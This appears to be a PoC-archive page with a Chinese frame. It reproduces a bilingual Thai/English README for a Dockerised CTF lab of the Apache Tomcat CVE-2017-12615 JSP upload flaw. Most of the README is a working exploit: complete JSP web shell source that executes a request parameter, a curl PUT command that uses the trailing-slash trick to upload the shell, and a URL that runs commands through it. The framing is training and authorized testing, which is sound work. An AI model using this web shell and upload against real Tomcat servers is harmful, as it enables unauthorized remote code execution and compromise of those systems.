关联漏洞
标题:Apache Tomcat 安全漏洞 (CVE-2017-12615)描述:Apache Tomcat是美国阿帕奇(Apache)软件基金会下属的Jakarta项目的一款轻量级Web应用服务器,它主要用于开发和调试JSP程序,适用于中小型系统。 Apache Tomcat 7.0.0版本至7.0.79版本存在远程代码执行漏洞。当上述版本的Tomcat启用HTTP PUT请求方法时,远程攻击者可以构造恶意请求利用该漏洞向服务器上传包含任意代码执行的jsp文件,并被服务器执行该文件,导致攻击者可以执行任意代码。
描述
CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload Home Lab for Red Teaming, Penetration Testing
介绍
# ENGLISH BELOW
# CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload
<p align="center">
<img width="500" height="500" alt="image" src="https://github.com/user-attachments/assets/876f7dc7-72cf-486a-85d7-463bcb3602fa" />
</p>
Lab นี้จำลองช่องโหว่ **CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload**
เกิดจากการตั้งค่า `readonly=false` ทำให้สามารถอัปโหลดไฟล์ผ่าน **HTTP PUT** ได้ รวมถึงไฟล์ `.jsp` ที่สามารถรันคำสั่ง (RCE)
---
<img width="1920" height="939" alt="image" src="https://github.com/user-attachments/assets/25f83824-42af-4973-beb1-463ab1fa8563" />
## Features
- Apache **Tomcat 7.0.79** (vulnerable)
- ใช้ DefaultServlet override พร้อมค่า `readonly=false`
- สามารถใช้ PUT Upload เพื่อวางไฟล์ `.jsp` ลงใน ROOT web directory
- รองรับการ Execute คำสั่งผ่าน web shell
- หน้าเว็บสไตล์ Industrial พร้อม internal note ที่ลืมลบ (Hint)
- ระบบสร้าง `flag_RANDOM.txt` อัตโนมัติทุกครั้งที่ container start
- ออกแบบสำหรับ CTF / Red Team / Pentest Training
---
## Directory Structure
```
/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh
```
---
## การใช้งาน (Run Container)
```bash
docker compose build
docker compose up -d
```
เปิดเว็บ:
```
http://localhost:8080/
```
---
## วิธีทดสอบช่องโหว่ CVE-2017-12615
### 1) สร้างไฟล์ JSP payload
```bash
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String s;
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF
```
### 2) อัปโหลดไฟล์ด้วย PUT (ต้องมี `/` ท้ายชื่อไฟล์)
```bash
curl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
```
### 3) เรียกใช้งาน webshell
```
http://localhost:8080/shell.jsp?cmd=id
```
---
## Flag
เก็บไว้ใน:
```
/tmp/flag_RANDOM.txt
```
---
# English Version — CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload
This lab simulates **CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload**, where Apache Tomcat’s `DefaultServlet` is misconfigured with:
```
readonly=false
```
This allows attackers to upload `.jsp` files via **HTTP PUT**, enabling remote code execution.
---
<img width="1920" height="939" alt="image" src="https://github.com/user-attachments/assets/45c36873-550a-4a20-8d9b-e9e722792367" />
## Features
- Vulnerable **Apache Tomcat 7.0.79**
- DefaultServlet override with `readonly=false`
- PUT Upload → write arbitrary `.jsp` files into ROOT web directory
- Supports command execution through JSP shell
- Industrial-style landing page with a subtle internal hint
- Auto-generated `flag_RANDOM.txt` at container startup
- Fit for CTF, research, and exploit development
---
## Exploitation Example
### Upload a JSP shell
```bash
curl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
```
### Execute commands
```
http://localhost:8080/shell.jsp?cmd=id
```
---
## Flag Location
```
/tmp/flag_RANDOM.txt
```
---
## Disclaimer
For educational, research, and authorized penetration testing only.
文件快照
[4.0K] /data/pocs/2bc5ee50fd2f2e6e7397e5cda05715264ae90fa8
├── [ 254] docker-compose.yml
├── [1.2K] docker-entrypoint.sh
├── [ 662] Dockerfile
├── [3.9K] README.md
└── [4.0K] webapps
└── [4.0K] ROOT
├── [4.0K] assets
│ └── [880K] industry.png
├── [7.5K] index.jsp
└── [4.0K] WEB-INF
└── [ 970] web.xml
5 directories, 7 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。